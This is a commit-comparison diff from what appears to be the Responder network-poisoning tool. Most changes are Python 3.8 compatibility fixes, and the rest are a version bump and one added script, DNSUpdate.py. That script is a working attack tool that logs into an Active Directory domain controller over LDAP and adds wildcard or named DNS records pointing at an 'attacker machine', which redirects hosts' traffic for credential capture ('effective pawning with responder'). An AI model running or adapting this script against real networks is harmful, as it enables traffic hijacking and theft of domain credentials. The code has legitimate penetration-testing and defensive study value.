Compare commits

...

9 Commits

Author SHA1 Message Date
lgandx
42a7e3b75c version update 2020-08-19 08:06:40 -03:00
lgandx
5e39c91a05 py3 bugfix 2020-08-17 20:28:15 -03:00
lgandx
d6f4911eb4 python3.8 compability fix 2020-08-17 16:08:24 -03:00
lgandx
691c44138c Merge pull request #125 from nop5L3D/patch-1
Alter "is" to "==" for Python 3.8 compatibility
2020-08-17 14:58:18 -03:00
lgandx
0f3980578a Merge pull request #121 from Sagar-Jangam/master
Added DNSUpdate.py, a small script to add DNS record to DC for gateri…
2020-08-17 14:56:59 -03:00
nop5L3D
052c1a8285 Alter "is" to "==" for Python 3.8 compatibility
Change the usage of "is" to "==" to comply with the new syntax warnings found in python >= 3.8

Observed warnings:
RunFinger.py:61: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if PY2OR3 is "PY2":
RunFinger.py:68: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if PY2OR3 is "PY2":
RunFinger.py:74: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if PY2OR3 is "PY2":
2020-06-15 14:29:05 -04:00
Sagar-Jangam
05617defef Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs 2020-04-08 07:23:35 -04:00
lgandx
eb449bb061 Merge pull request #117 from sbrun/master
Fix encoding issue in Python 3
2020-02-21 11:25:12 -03:00
Sophie Brun
7420f62082 Fix encoding issue in Python 3 2020-02-21 10:02:31 +01:00
16 changed files with 209 additions and 25 deletions

View File

@@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -17,7 +17,7 @@
import struct
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
@@ -148,10 +148,9 @@ def ServeOPTIONS(data):
def ServeFile(Filename):
with open (Filename, "rb") as bk:
return bk.read()
return NetworkRecvBufferPython2or3(bk.read())
def RespondWithFile(client, filename, dlname=None):
if filename.endswith('.exe'):
Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
else:

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
import urllib.parse as urlparse
import http.server as BaseHTTPServer
else:

View File

@@ -17,7 +17,7 @@
import codecs
import struct
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -18,7 +18,7 @@ import random
import struct
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler

View File

@@ -19,7 +19,7 @@ import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -17,7 +17,7 @@
import struct, re
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from base64 import b64decode
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.0.0'
__version__ = 'Responder 3.0.1.0'
class Settings:

185
tools/DNSUpdate.py Normal file
View File

@@ -0,0 +1,185 @@
#!/usr/bin/env python
import sys
import argparse
import getpass
import re
import socket
from impacket.structure import Structure
import ldap3
import dns.resolver
from collections import defaultdict
class DNS_RECORD(Structure):
"""
dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('DataLength', '<H-Data'),
('Type', '<H'),
('Version', 'B=5'),
('Rank', 'B'),
('Flags', '<H=0'),
('Serial', '<L'),
('TtlSeconds', '>L'),
('Reserved', '<L=0'),
('TimeStamp', '<L=0'),
('Data', ':')
)
class DNS_RPC_RECORD_A(Structure):
"""
DNS_RPC_RECORD_A [MS-DNSP] section 2.2.2.2.4.1
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('address', ':'),
)
class DNS_RPC_RECORD_TS(Structure):
"""
DNS_RPC_RECORD_TS [MS-DNSP] section 2.2.2.2.4.23
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('entombedTime', '<Q'),
)
def getserial(server, zone):
dnsresolver = dns.resolver.Resolver()
try:
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
pass
res = dnsresolver.query(zone, 'SOA')
for answer in res:
return answer.serial + 1
def new_A_record(type, serial):
nr = DNS_RECORD()
nr['Type'] = type
nr['Serial'] = serial
nr['TtlSeconds'] = 180
nr['Rank'] = 240
return nr
ddict1 = defaultdict(list)
parser = argparse.ArgumentParser(description='Add/ Remove DNS records for an effective pawning with responder')
parser.add_argument("-DNS", type=str,help="IP address of the DNS server/ Domain Controller to connect to")
parser.add_argument("-u","--user",type=str,help="Domain\\Username for authentication.")
parser.add_argument("-p","--password",type=str,help="Password or LM:NTLM hash, will prompt if not specified")
parser.add_argument("-a", "--action", type=str, help="ad, rm, or an: add, remove, analyze")
parser.add_argument("-r", "--record", type=str, help="DNS record name")
parser.add_argument("-d", "--data", help="The IP address of attacker machine")
parser.add_argument("-l", "--logfile", type=str, help="The log file of Responder in analyze mode")
args = parser.parse_args()
#Checking Username and Password
if args.user is not None:
if not '\\' in args.user:
print('Username must include a domain, use: Domain\\username')
sys.exit(1)
if args.password is None:
args.password = getpass.getpass()
#Check the required arguments
if args.action in ['ad', 'rm']:
if args.action == 'ad' and not args.record:
flag = input("No record provided, Enter 'Y' to add a Wildcard record: ")
if flag.lower() == 'y' or flag.lower() == 'yes':
recordname = "*"
else:
sys.exit(1)
else:
recordname = args.record
if args.action == 'ad' and not args.data:
print("Provide an IP address with argument -d")
sys.exit(1)
if args.action == "rm" and not args.record:
print("No record provided to be deleted")
elif args.action == "an":
if args.logfile:
with open(args.logfile) as infile:
for lline in infile:
templist = lline.split(":")
tempIP = templist[2].split( )[0]
tempRecord = templist[3].split( )[0]
ddict1[tempRecord].append(tempIP)
infile.close()
for k,v in ddict1.items():
print("The request %s was made by %s hosts" % (k, len(set(v))))
sys.exit(0)
else:
print("Provide a log file from responder session in analyze mode")
sys.exit(1)
else:
print("Choose one of the three actions")
sys.exit(1)
#inital connection
dnserver = ldap3.Server(args.DNS, get_info=ldap3.ALL)
print('Connecting to host...')
con = ldap3.Connection(dnserver, user=args.user, password=args.password, authentication=ldap3.NTLM)
print('Binding to host')
# Binding with the user context
if not con.bind():
print('Bind failed, Check the Username and Password')
print(con.result)
sys.exit(1)
print('Bind OK')
#Configure DN for the record, gather domainroot, dnsroot, zone
domainroot = dnserver.info.other['defaultNamingContext'][0]
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot
zone = re.sub(',DC=', '.', domainroot[domainroot.find('DC='):], flags=re.I)[3:]
if recordname.lower().endswith(zone.lower()):
recordname = recordname[:-(len(zone)+1)]
record_dn = 'DC=%s,DC=%s,%s' % (recordname, zone, dnsroot)
if args.action == 'ad':
record = new_A_record(1, getserial(args.DNS, zone))
record['Data'] = DNS_RPC_RECORD_A()
record['Data'] = socket.inet_aton(args.data)
#Adding the data to record object
recorddata = {
#'objectClass': ['top', 'dnsNode'],
'dNSTombstoned': False,
'name': recordname,
'dnsRecord': [record.getData()]
}
objectClass = ['top', 'dnsNode']
print('Adding the record')
con.add(record_dn, objectClass, recorddata)
#con.add(record_dn, ['top', 'dnsNode'], recorddata)
print(con.result)
elif args.action == 'rm':
#searching for the record
searchbase = 'DC=%s,%s' % (zone, dnsroot)
con.search(searchbase, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(recordname), attributes=['dnsRecord','dNSTombstoned','name'])
if len(con.response) != 0:
for entry in con.response:
if entry['type'] != 'searchResEntry':
print("Provided record does not exists")
sys.exit(1)
else:
record_dn = entry['dn']
print(entry['raw_attributes']['dnsRecord'])
else:
print("Provided record does not exists")
con.delete(record_dn)
if con.result['description'] == "success":
print("Record deleted successfully")

View File

@@ -58,20 +58,20 @@ else:
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))

View File

@@ -26,7 +26,7 @@ import codecs
import struct
def RandomChallenge():
if settings.Config.PY2OR3 is "PY3":
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = b'%016x' % getrandbits(16 * 4)
@@ -107,7 +107,7 @@ def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def RespondWithIPAton():
if settings.Config.PY2OR3 is "PY2":
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton
else:
@@ -135,7 +135,7 @@ def FindLocalIP(Iface, OURIP):
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
@@ -167,7 +167,7 @@ def DumpConfig(outfile, data):
def StructPython2or3(endian,data):
#Python2...
if settings.Config.PY2OR3 is "PY2":
if settings.Config.PY2OR3 == "PY2":
return struct.pack(endian, len(data))
#Python3...
else:
@@ -175,20 +175,20 @@ def StructPython2or3(endian,data):
def StructWithLenPython2or3(endian,data):
#Python2...
if settings.Config.PY2OR3 is "PY2":
if settings.Config.PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
if settings.Config.PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
if settings.Config.PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))